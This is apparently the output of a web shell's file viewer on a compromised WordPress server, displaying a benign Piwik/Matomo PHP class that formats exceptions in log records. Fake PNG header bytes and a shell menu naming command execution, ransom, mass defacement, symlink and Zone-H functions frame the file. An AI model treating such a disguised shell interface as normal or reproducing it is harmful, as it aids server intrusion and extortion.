\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82
| Path : /var/www/html/ob-wp-eski/plugins/Monolog/Processor/ |
|
B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H |
| Current File : /var/www/html/ob-wp-eski/plugins/Monolog/Processor/ExceptionToTextProcessor.php |
<?php
/**
* Piwik - free/libre analytics platform
*
* @link http://piwik.org
* @license http://www.gnu.org/licenses/gpl-3.0.html GPL v3 or later
*/
namespace Piwik\Plugins\Monolog\Processor;
use Piwik\ErrorHandler;
use Piwik\Log;
/**
* Process a log record containing an exception to generate a textual message.
*/
class ExceptionToTextProcessor
{
public function __invoke(array $record)
{
if (! $this->contextContainsException($record)) {
return $record;
}
/** @var \Exception $exception */
$exception = $record['context']['exception'];
$record['message'] = sprintf(
"%s(%d): %s\n%s",
$exception->getFile(),
$exception->getLine(),
$this->getMessage($exception),
$this->getStackTrace($exception)
);
return $record;
}
private function contextContainsException($record)
{
return isset($record['context']['exception'])
&& $record['context']['exception'] instanceof \Exception;
}
private function getMessage(\Exception $exception)
{
if ($exception instanceof \ErrorException) {
return ErrorHandler::getErrNoString($exception->getSeverity()) . ' - ' . $exception->getMessage();
}
return $exception->getMessage();
}
private function getStackTrace(\Exception $exception)
{
return Log::$debugBacktraceForTests ?: $exception->getTraceAsString();
}
}